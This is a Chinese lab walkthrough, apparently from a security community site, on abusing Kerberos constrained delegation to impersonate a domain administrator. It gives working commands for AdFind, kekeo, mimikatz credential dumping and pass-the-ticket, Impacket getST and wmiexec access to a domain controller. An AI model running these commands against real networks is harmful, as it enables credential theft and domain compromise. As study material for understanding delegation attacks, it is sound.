约束委派(Constrained Delegation, CD)-基于配置的横向移动

suhaynn2025-06-03文章来源:SecHub网络安全社区


约束委派(CD)

原理:

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。

S4U2Self协议允许服务账户A代表用户去KDC请求访问自身的ST,但也仅限于请求自身的ST,不允许请求访问其他服务的ST。

S4U2Proxy协议在服务账户A拿到自身可转发的(属于用户的)ST之后,便可以以用户的名义(ST)去请求针对其他指定服务B的ST,而这个获取服务账户B的ST的过程是不需要用户凭据的。如果碰巧服务A已经被配置了到域控的CIFS服务的约束委派,那就可以攻击了

利用场景:

如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。

则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

复现配置:

1、机器设置仅信任此计算机指定服务-cifs

配置WebServer到域控CIFS服务的委派

2、用户设置仅信任此计算机指定服务-cifs

利用思路:使用机器账户票据

判断查询:

域用户就可以查询,记得在上边查询非约束委派时,域控主机默认就配置了非约束委派,所以至少能查出来一个;在约束委派中就没这样的特性了

查询机器用户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

基于服务账户的Hash值 | kekeo

利用条件:

1、需要立足点主机本地Administrator权限(但是经过测试就用webadmin域用户的shell就可以攻击)

2、目标服务账户配置了约束性委派

获取webadmin用户的票据

当获取到了webadmin域用户的明文密码或者hash之后,可以判断该用户是否存在约束委派,然后利用S4U2Self协议生成webadmin自身可转发的ST1

明文密码:

kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"

Hash:

kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

先利用S4U2Self协议生成webadmin自身可转发的ST1,然后拿着ST1去申请可访问域控的CIFS服务的ST2

利用webadmin用户票据请求获取域控票据

因为webadmin被配置了约束委派,直达域控的CIFS服务,所以现在可以拿着ST1去申请访问域控CIFS服务的ST2票据了

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

导入票据到内存

用mimikatz将生成的访问域控CIFS服务的ST2导入内存之后,就可以访问域控了,这里仍使用webadmin域用户权限就行

mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi

连接通讯域控

shell dir \\owa2010cn-god.god.org\c$

对于被配置了约束性委派的机器账户和服务账户的利用点其实大差不差,都是利用机器账户和服务账户的hash或密码去向KDC申请自身可转发的ST1,然后拿着ST1去申请可访问域控CIFS服务的ST2,生成ST2的方法有很多,getST,Kekeo,Rubeus等,所有引发下边这么多利用的可能

基于服务账户的密码值 | getST

基于机器账户的票据 | Kekeo

基于机器账户的Hash值 | Rubeus

基于机器账户的Hash值 | getST

基于机器账户的Hash值 | Kekeo

基于机器账户的Hash值 | Rubeus

等等~

我就在复现一种基于机器账户的Hash值 | getST

基于机器账户的Hash值 | getST

利用条件:

  1. 需要本地Administrator权限
  2. 目标机器账户配置了约束性委派

获取被配置了约束委派机器账户的NTLM Hash

当前WebServer立足点主机被配置了约束委派

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

155ecfc79c272b6876070c78a89f8a49

使用getST申请服务票据

因为当前立足点主机webserver被配置了约束委派,可以 以WebServer$机器账户身份申请访问域控CIFS服务的ST

python3 getST.py -dc-ip 192.168.3.21 god.org/WEBSERVER$ -spn CIFS/owa2010cn-god.god.org -impersonate administrator -hashes :155ecfc79c272b6876070c78a89f8a49

生成的时候需要挂上代理

windows也挂上代理再去生成

使用票据远程访问

然后利用这个ST,去访问域控的CIFS服务,需要将ST票据加入环境变量

Linux:

KRB5CCNAME=administrator@CIFS_owa2010cn-god.god.org@GOD.ORG.ccache python3 wmiexec.py -dc-ip 192.168.3.21 -k god.org/administrator@owa2010cn-god.god.org -no-pass

首次访问,报错了

[-] [Errno Connection error (owa2010cn-god.god.org:445)] [Errno -2] Name or service not known

将域名加入到hosts

vim /etc/hosts

再次尝试

Windows:

windwos也一样,编辑C:\Windows\System32\drivers\etc\hosts文件,不然你的攻击机解析的是互联网上的域名,而不是你虚拟机的域名

set KRB5CCNAME=administrator@CIFS_owa2010cn-god.god.org@GOD.ORG.ccache python3 wmiexec.py -dc-ip 192.168.3.21 -k god.org/administrator@owa2010cn-god.god.org -no-pass